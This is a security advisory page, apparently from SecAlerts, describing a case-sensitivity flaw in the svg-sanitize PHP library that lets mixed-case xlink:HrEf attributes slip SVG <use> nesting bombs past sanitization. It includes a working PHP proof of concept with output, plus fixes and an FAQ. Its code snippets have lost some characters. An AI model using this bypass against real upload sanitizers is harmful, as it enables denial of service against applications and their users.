GHSA-m9xh-6747-9r6f: Medium severity composer/enshrined/svg-sanitize vulnerability

Published Oct 8, 2026
·
Updated

Summary

Resolver::processReferences() collects <use> elements with the XPath predicate use[@href or @xlink:href], which is case sensitive. A <use> element written as xlink:HrEf is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. Sanitizer::cleanHrefAttributes() then runs later in the same pass and rewrites xlink:HrEf back to the canonical xlink:href. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had the input used canonical casing.

This is the mirror image of CVE-2025-55166: that fix made href value checking case insensitive, but the <use> reference graph still selects nodes case sensitively.

Where it is

src/ElementReference/Resolver.php:97-118, the case-sensitive node selection:

php $useNodeName = $this->xPath->createNodeName('use'); foreach ($this->subjects as $subject) { $useElements = $this->xPath->query( $useNodeName . '[@href or @xlink:href]', $subject->getElement() );

src/Sanitizer.php:479-504, the normalization that happens afterwards and makes the attribute live again:

php // in case the attribute name is HrEf/xlink:HrEf, adjust it to href/xlink:href if (!inarray($attribute->nodeName, $this->allowedAttrs, true) && inarray(strtolower($attribute->nodeName), $this->allowedAttrs, true) ) { $element->removeAttribute($attribute->nodeName); $element->setAttribute(strtolower($attribute->nodeName), $attribute->value); }

Ordering is the whole bug. Sanitizer::sanitize() builds the resolver graph first and normalizes attribute casing second, so the graph is built against names the sanitizer is about to change.

Impact

Anyone who can submit an SVG to an application that sanitizes it with this library and then serves it. No privileges beyond being able to upload or paste an SVG. The output is the project's own tests/data/useDosTest.svg nesting structure, intact, with canonical xlink:href attributes, which is exactly the input the useNestingLimit machinery exists to defuse.

Proof of concept

Against a clean clone of tag 0.22.0. The only change to the input is rewriting xlink:href to xlink:HrEf in the project's own DoS fixture.

php <?php splautoloadregister(function ($class) { $p = 'enshrined\\svgSanitize\\'; if (strpos($class, $p) !== 0) return; $rel = strreplace('\\', '/', substr($class, strlen($p))); $f = DIR . '/svgsan/src/' . $rel . '.php'; if (fileexists($f)) require $f; }); $orig = filegetcontents(DIR . '/svgsan/tests/data/useDosTest.svg'); $mut = strreplace('xlink:href', 'xlink:HrEf', $orig);

function run($label, $input) { $s = new \enshrined\svgSanitize\Sanitizer(); $s->removeRemoteReferences(true); $out = $s->sanitize($input); echo "[$label]\n"; echo " output <use count : ", substrcount($out, '<use '), "\n"; echo " output xlink:href : ", (strpos($out,'xlink:href')!==false?'YES':'NO'), "\n"; echo " output xlink:HrEf : ", (strpos($out,'xlink:HrEf')!==false?'YES':'NO'), "\n"; } run('canonical xlink:href (control)', $orig); run('mixed-case xlink:HrEf (attack)', $mut);

Observed on PHP 8.5.9:

text orig use count: 201 mutated input has xlink:HrEf: YES

[canonical xlink:href (control)] output <use count : 0 output xlink:href : NO output xlink:HrEf : NO [mixed-case xlink:HrEf (attack)] output <use count : 201 output xlink:href : YES output xlink:HrEf : NO

201 to 0 on canonical input, 201 to 201 on mixed-case input, and the output attribute name comes back canonical either way. To be precise about what I measured: I measured the nullification being skipped and the attribute being re-canonicalized. I did not measure renderer memory or CPU on the resulting file, so the downstream cost is whatever you already assign to useDosTest.svg.

Suggested fix

Stop matching attribute names case sensitively when the reference graph is built. Either select every descendant use and resolve the href in PHP with a case-insensitive local-name lookup (an extension of Helper::getElementHref() at Helper.php:10-19 is the smallest change), or move the cleanHrefAttributes() canonicalization so it runs before $this->elementReferenceResolver->collect() rather than after, so the resolver only ever sees href and xlink:href. The second option also removes the general class of bug where the graph and the cleaner disagree about a node's identity.

Affected Software

1 affected componentFixes available
composer/enshrined/svg-sanitize<=0.22.0
1.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/enshrined/svg-sanitize to a version that resolves this vulnerability.

    Fixed in 1.0.0
  2. Compensating control

    Fix the `<use>` reference-graph handling so attribute names are matched case insensitively: either resolve descendant `<use>` hrefs with a case-insensitive local-name lookup (extending `Helper::getElementHref()` at `Helper.php:10-19`), or run `Sanitizer::cleanHrefAttributes()` before `elementReferenceResolver->collect()` so the resolver sees canonical `href` and `xlink:href` names.

Event History

Oct 8, 2026
Advisory Published
via GitHub·07:41 PM
Data Sourced
via GitHub·07:41 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What input is required to trigger the denial of service?

An attacker needs to supply an SVG containing nested <use> references and write the reference attribute with noncanonical casing, such as xlink:HrEf. The sanitizer later normalizes that attribute name to xlink:href, leaving the nesting structure live.

2

Does exploitation require authentication or user interaction?

The supplied vector is network-accessible and requires no privileges, but user interaction is required. The impact is denial of service; no confidentiality or integrity impact is indicated.

3

What can be done if patching is not immediately possible?

Reject or normalize SVG inputs that contain mixed-case href or xlink:href attribute names before they reach the sanitizer. In particular, do not allow <use> elements with variants such as xlink:HrEf to bypass reference-graph handling.

4

How can I identify potentially affected SVGs?

Inspect submitted or stored SVGs for <use> elements whose href or xlink:href attribute uses mixed or otherwise noncanonical casing. These inputs may evade the case-sensitive XPath selection and then be normalized into active xlink:href attributes later in sanitization.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203